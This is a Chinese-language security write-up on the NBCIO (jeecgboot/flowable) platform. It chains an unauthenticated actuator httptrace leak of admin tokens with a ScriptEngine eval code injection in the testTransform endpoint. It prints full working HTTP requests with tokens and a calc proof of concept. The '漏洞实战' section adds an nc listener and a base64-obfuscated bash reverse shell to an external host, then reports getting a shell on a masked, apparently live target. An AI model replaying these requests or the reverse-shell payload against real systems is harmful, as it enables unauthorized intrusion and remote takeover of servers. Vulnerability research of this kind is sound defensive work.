原文首发在：奇安信攻防社区

https://forum.butian.net/share/3698

一、项目简介

NBCIO 亿事达企业管理平台后端代码，基于jeecgboot3.0和flowable6.7.2，初步完成了集流程设计、流程管理、流程执行、任务办理、流程监控于一体的开源工作流开发平台，同时增加了聊天功能、大屏设计器、网盘功能和项目管理。
项目地址：https://gitee.com/nbacheng/nbcio-boot

二、环境搭建

只需修改配置文件中的mysql和redis连接信息即可正常运行。

三、未授权分析

在ShiroConfig中放开了actuator方法的未授权访问
org/jeecg/config/shiro/ShiroConfig.java:156

直接访问/actuator/httptrace可以免认证获取管理员的token信息

四、RCE分析

此处代码调用了ScriptEngine的eval方法，此方法若不做特殊处理易引起代码注入问题，这里不做过多解释。
com/nbcio/modules/estar/bs/service/impl/DataSetParamServiceImpl.java:99

根据方法调用反向跟踪到了/testTransform接口

由于该接口参数结构较为复杂，所以需要找到前端触发点直接抓包获取参数。

点击测试预览即可触发该接口

抓包修改参数并发出请求。

成功触发计算器，本地测试OK

POST /nbcio-boot/bs/bsDataSet/testTransform HTTP/1.1
Host: 192.168.64.1:8081
Content-Length: 345
Accept: application/json, text/plain, */*
X-TIMESTAMP: 20240808213818
X-Sign: ED5C3621799AA3EAC6D2ABAB498B1DCD
tenant-id: 0
X-Access-Token: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJleHAiOjE3MjMxMzU3MDAsInVzZXJuYW1lIjoiYWRtaW4ifQ.t5je51OW1Q40U-8d0HudQCXQc-WXQbP7o9cmvKjsO3Y
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36
Content-Type: application/json;charset=UTF-8
Origin: http://218.75.87.38:9888
Referer: http://218.75.87.38:9888/
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: keep-alive

{"sourceCode":"mysql","dynSentence":"select * from bs_report_barstack","dataSetParamDtoList":[{"paramName":"","paramDesc":"","paramType":"","sampleItem":"","mandatory":true,"requiredFlag":1,"validationRules":"java.lang.Runtime.getRuntime().exec('calc');"}],"dataSetTransformDtoList":[{"transformType":"js","transformScript":""}],"setType":"sql"}

五、漏洞实战

1、按照第三步获取管理员认证信息

GET /nbcio-boot/actuator/httptrace HTTP/1.1
Host: *****
Accept: application/json, text/plain, */*
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: keep-alive

2、打开kali，nc监听指定端口

nc -lvnp 7777

3、发送反弹shell的poc

POST /nbcio-boot/bs/bsDataSet/testTransform HTTP/1.1
Host: ****
Content-Length: 450
Accept: application/json, text/plain, */*
tenant-id: 0
X-Access-Token: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJleHAiOjE3MjMyMjgyMTQsInVzZXJuYW1lIjoiYWRtaW4ifQ.oCbEjdP074ORip82D4ix27FtG0WgVnAlc7fjRZeZxgM
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36
Content-Type: application/json;charset=UTF-8
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: keep-alive

{"sourceCode":"mysql","dynSentence":"select * from bs_report_barstack","dataSetParamDtoList":[{"paramName":"","paramDesc":"","paramType":"","sampleItem":"","mandatory":true,"requiredFlag":1,"validationRules":"java.lang.Runtime.getRuntime().exec(\"bash -c {echo,YmFzaCAtaT4mIC9kZXYvdGNwLzZ2NzI4NzAyZjYuemljcC5mdW4vNTMyNjcgMD4mMQ==}|{base64,-d}|{bash,-i}\");"}],
"dataSetTransformDtoList":[{"transformType":"js","transformScript":""}],"setType":"sql"}

4、成功获取到目标shell

至此，漏洞分析结束。

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